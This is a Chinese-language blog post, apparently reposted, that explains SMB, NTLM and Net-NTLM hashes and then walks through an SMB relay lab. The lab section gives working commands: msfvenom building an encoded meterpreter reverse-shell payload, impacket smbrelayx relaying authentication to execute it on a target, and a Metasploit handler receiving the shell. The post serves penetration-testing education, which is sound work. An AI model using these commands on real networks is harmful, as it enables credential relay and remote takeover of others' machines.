关于smb relay 攻击

知识点:

什么是SMB
服务器消息块(SMB)协议是一种网络文件共享协议,在Microsoft Windows中实现称为Microsoft SMB协议。SMB允许您共享文件,磁盘,目录,打印机等。在Windows 2000之前,SMB过去通过TCP / IP端口139与NetBIOS一起运行。因此,建立SMB连接需要NetBIOS会话。

从Windows 2000及更高版本开始,SMB可以使用端口445在TCP / IP上运行,而无需运行NetBIOS会话。由于SMB提供了多种功能,例如操作文件,共享,消息传递,IPC等,它在内网枚举和内网探索阶段是对黑客最有吸引力的服务之一。

另一方面,Samba是SMB的UNIX实现。Samba用于为客户端提供通过SMB协议访问UNIX目录和文件的能力,如果他们与Windows服务器通信则完全相同。Samba现在可以在多个平台上运行,是大多数Linux发行版的重要组成部分。

经常看到两个特殊共享:IPC$ADMIN$共享。ADMIN$共享基本上可以被认为是路径C:Windows的符号链接。[3] IPC$略有不同。它不直接映射到文件系统,而是提供一个接口,通过该接口可以执行远程过程调用(RPC)。

NTLM hash 和 Net-NTLM hash

  • NTLM(V1/V2)的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行Pass the Hash攻击
  • Net-NTLM(V1/V2)的hash值是基于用户密码的NTLM hash计算出来的,用于网络中的认证,步骤如下:
    1. 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash
    2. 服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 明文返回客户端。使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1
    3. 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器
    4. 服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功

在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法,所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash。

NTLM和SMB的关系
SMB的认证可以基于NTLM协议或者kerberos协议,前者使用了hash,后者使用了ticket,是构成SMB的PtHPtT攻击的基础。
NTLM 并没有定义它所依赖的传输层协议。NTLM 消息的传输完全依赖于使用 NTLM 的上层协议来决定,可以是SMB,也可以是TCP,亦或HTTP。

从攻击角度来看

  • 可以利用NTLM哈希值进行“哈希传递”攻击
  • 无法利用Net-NTLM哈希值来进行“哈希传递”攻击
 
简单实验:
客户端:10.10.202.185 2003
目标:10.10.202.182 2008
攻击机器 kail linux:10.10.202.181
 
工具包:
IMpacket 
msfconsole
 
前提条件:客户端的账户和目标机器的账户密码保持一致。
 
kail Linux:
生成payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.202.181 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ./smb_rve.exe
python smbrelayx.py -h 10.10.202.182 -e smb_rve.exe
 
msfconsole
msf > use exploit/multi/handler 

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 10.10.202.181

lhost => 10.10.202.181

msf exploit(multi/handler) > set autorunscript post/windows/manage/migrate

autorunscript => post/windows/manage/migrate
msf exploit(multi/handler) > exploit

在客户端10.10.202.185 执行 dir \10.10.202.181c$
 

在攻击机器上看下:

备注:坑点
在渗透测试过程中,可能有些系统使用的不是默认的账户,注意对ADMIN$ C$默认没有写权限,就会导致获取不到系统shell的情况

参考:https://www.jianshu.com/p/c7d8e7d9c03c

原文地址:https://www.cnblogs.com/hack404/p/12360491.html